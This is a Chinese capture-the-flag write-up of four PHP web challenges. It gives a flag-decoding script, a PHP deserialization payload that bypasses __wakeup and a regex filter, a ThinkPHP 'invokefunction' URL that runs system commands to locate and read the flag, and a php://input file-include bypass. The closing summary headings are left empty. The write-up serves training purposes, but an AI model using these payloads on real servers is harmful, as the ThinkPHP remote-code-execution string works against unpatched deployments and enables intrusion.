qidao123.com技术社区-IT企服评测·应用市场

标题: 双剑破天门:攻防天下Web题解之独孤九剑心法(八) [打印本页]

作者: 火影    时间: 2025-5-8 09:37
标题: 双剑破天门:攻防天下Web题解之独孤九剑心法(八)


免责声明:用户因使用公众号内容而产生的任何行为和结果,由用户自行负担责任。本公众号不负担因用户误解、不当使用等导致的法律责任

**本文以攻防天下部分题为例进行演示,后续会对攻防天下大部分的web题目进行演示,如果你感兴趣请关注**

目次
一:WEB 2
二:Web_php_unserialize
三:php_rce
四:web_php_include
五:总结
1. WEB 2
2. Web_php_unserialize
3. php_rce
4. web_php_include

一:WEB 2

打开是一个php代码

代码审计
   1.首先给了一段密文也就是需要解密的flag
  2.然后对传进来的str进行字符串反转($_o)
  3.进入for循环,首先截取一个字符(赋值给$_c),将这个字符转换为ascii值进行+1(赋值给$__)然后将+1后的ascii在转换为字符(赋值给$_c)输出末了进行拼接(比方先将abc变为cba然后再加1末了拼接就是dbc)
  4.对$_进行base64编码然后再反转末了进行rot13转换
  解密只需要将如上倒过来即可
先进行rot13转化然后进行strrer反转在进行base64解码将解码后的结果进行截取对其ascii减1后转换为字符末了拼接完再反转即可得到flag


解密代码如下
  1. <?php
  2. $miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
  3. // 逆向str_rot13
  4. $step1 = str_rot13($miwen);
  5. // 逆向strrev
  6. $step2 = strrev($step1);
  7. // 逆向base64_encode
  8. $step3 = base64_decode($step2);
  9. // 逆向ord($char)+1
  10. $decrypted = "";
  11. for ($i = 0; $i < strlen($step3); $i++) {
  12.     $char = substr($step3, $i, 1);
  13.     $decrypted .= chr(ord($char) - 1);
  14. }
  15. // 反转字符串得到最终结果
  16. $flag = strrev($decrypted);
  17. echo  $flag;
  18. ?>
复制代码

二:Web_php_unserialize

打开为如下所示,是一个反序列化的题目

进行代码审计
   首先定义一个demo的类,而且定义一个私有属性初始值为index.php,
  然后又声明了两个个函数,$file是用于接收外部传入的文件路径,
  __construct:对变量进行赋初始值也就是index.php
  _destruct:在步伐结束时以高亮输出
  在往下下看它提示我们flag在fl4g.php中,以是只要我们将index.php修改为fl4g.php就可以得到flag
  第二段代码,首先接受一个var对其进行base64解密然后利用正则表达式对其过滤如果不符合进行反序列化符合的话就输出stop。
但是这段代码中有两个限制条件那就是__wakeup和正则表达式preg_match('/[oc]:\d+:/i'
Wakeup非常容易绕过那就是属性值大于属性个数  正则该如何绕过
序列化结果如下
   O:4:"Demo":1:{s:10:" Demo file";s:8:"fl4g.php";}
  

Wakeup绕过:O:4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
正则绕过:O:+4:"Demo":2:{s:10:" Demo file";s:8:"fl4g.php";}
   Payload:TzorNDoiRGVtbyI6Mjp7czoxMDoiIERlbW8gZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
  

但是我们发现输入后没有出现flag

实在题目在下图所示
Demo前后有两个空格,那我们加上这两个空格看看能不能拿到flag

还是什么都没有

只能用如下方法了使用str_replace替换方案
最终
   payload:?var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
  

乐成拿到flag


解密代码
  1. <?php
  2. class Demo {
  3.     private $file = 'index.php';
  4.     public function __construct($file) {
  5.         $this->file = $file;
  6.     }
  7.     function __destruct() {
  8.         echo @highlight_file($this->file, true);
  9.     }
  10.     function __wakeup() {
  11.         if ($this->file != 'index.php') {
  12.             //the secret is in the fl4g.php
  13.             $this->file = 'index.php';
  14.         }
  15.     }
  16. }
  17. $flag=new Demo ('fl4g.php');
  18. $flag =(serialize($flag));
  19. $flag =str_replace('O:4','O:+4',$flag);
  20. $flag =str_replace(':1:',':2:',$flag);
  21. echo base64_encode($flag);
  22. ?>
复制代码

三:php_rce

打开如下图所示,
通过搜索引擎搜索这个框架发现这个框架的漏洞就是对控制器名过滤不严,可以通过url调用到框架内部的敏感函数,进而导致漏洞。

通过payload:
   /index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20"flag"
  找到flag地点位置

最终payload:
   /index.php?
  s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
  乐成拿到flag


四:web_php_include

打开如下如所示,这是一道文件包含题目

代码审计
   首先接收一个page然后进行while循环利用strstr函数查察page中是否包含php://
  如果包含则将其替换为空
  然退却出循环
    以是如果想拿到flag就需要绕过strstr函数,它过滤的是php://
  那么利用巨细写不就绕过了
  构建payload:?page=Php://input.然后利用爆破实行下令
  乐成找到flag文件
  

乐成拿到flag


五:总结

1. WEB 2

题型特性

解题思绪

2. Web_php_unserialize

题型特性

解题思绪

3. php_rce

题型特性

解题思绪

4. web_php_include

题型特性

解题思绪

(需要源代码及各类资料接洽博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 qidao123.com技术社区-IT企服评测·应用市场 (https://dis.qidao123.com/) Powered by Discuz! X3.4